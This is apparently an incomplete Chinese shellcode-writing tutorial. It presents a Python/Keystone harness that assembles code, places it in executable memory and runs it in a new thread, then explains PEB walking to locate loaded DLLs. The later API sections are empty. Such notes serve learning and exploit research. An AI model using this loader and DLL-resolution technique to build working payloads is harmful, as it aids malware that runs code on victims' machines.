Shellcode 编写
测试方法
使用 Keystone 引擎,可以让 Shellcode 的编写更加流畅。Keystone 是一个汇编框架,可以与多种语言绑定,包括 Python。这样的话,我们可以在 Python 脚本中写入汇编代码,然后让 Keystone 框架完成剩下的任务。
我们首先需要通过 pip 安装 keystone 引擎:
pip3 install keystone-engine
然后使用如下的脚本模板,我们需要做的是在 CODE 变量中写入汇编代码。之后,汇编代码会被转换为 Shellcode 并被 CType 库所调用的 API 执行。
import ctypes, struct
from keystone import *
CODE = (
" start: " #
" int3 ;" # Breakpoint for Windbg. REMOVE ME WHEN NOT DEBUGGING!!!!
" mov ebp, esp ;" #
" add esp, 0xfffff9f0 ;" # Avoid NULL bytes
............
)
# Initialize engine in X64-64bit mode
ks = Ks(KS_ARCH_X64, KS_MODE_64)
encoding, count = ks.asm(CODE)
print("Encoded %d instructions..." % count)
sh = b""
for e in encoding:
sh += struct.pack("B", e)
shellcode = bytearray(sh)
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
buf,
ctypes.c_int(len(shellcode)))
print("Shellcode located at address %s" % hex(ptr))
input("...ENTER TO EXECUTE SHELLCODE...")
ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_int(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht), ctypes.c_int(-1))
定位所需 DLL
在 TEB 的 0x60 处,访问到 PEB 的指针:
mov rax, gs:[0x60]
在 PEB 的 0x18 处,访问到结构体 _PEB_LDR_DATA 的指针:
mov rsi,[rax+0x18]
访问该 _PEB_LDR_DATA 结构体,里面有多个成员。下半部分的输出给出了更详细的结构体成员信息,其中重要的是 3 个 双向链表,分别是 InLoadOrderModuleList,InMemoryOrderModuleList,和 InInitializationOrderModuleList。
InLoadOrderModuleList 按加载顺序显示上一个和下一个模块,InMemoryOrderModuleList 按内存放置顺序显示,InInitializationOrderModuleList 按初始化顺序显示。因此,即便上半部分的输出只告诉我们了 InMemoryOrderModuleList 成员,也是足够了。
InMemoryOrderModuleList 是一个 _LIST_ENTRY 类型的结构体,有着 2 个成员 Flink 和 Blink,在双向链表中分别用于访问下一个和上一个条目:
PEB
|
|---> _PEB_LDR_DATA
|
|---> InLoadOrderModuleList (_LIST_ENTRY)
| |
| |---> _LDR_DATA_TABLE_ENTRY (module 1)
| |---> _LDR_DATA_TABLE_ENTRY (module 2)
| |---> ...
|
|---> InMemoryOrderModuleList (_LIST_ENTRY)
| |
| |---> _LDR_DATA_TABLE_ENTRY (module 1)
| |---> _LDR_DATA_TABLE_ENTRY (module 2)
| |---> ...
|
|---> InInitializationOrderModuleList (_LIST_ENTRY)
|
|---> _LDR_DATA_TABLE_ENTRY (module 1)
|---> _LDR_DATA_TABLE_ENTRY (module 2)
|---> ...
定位所需 API
调用 API
参考: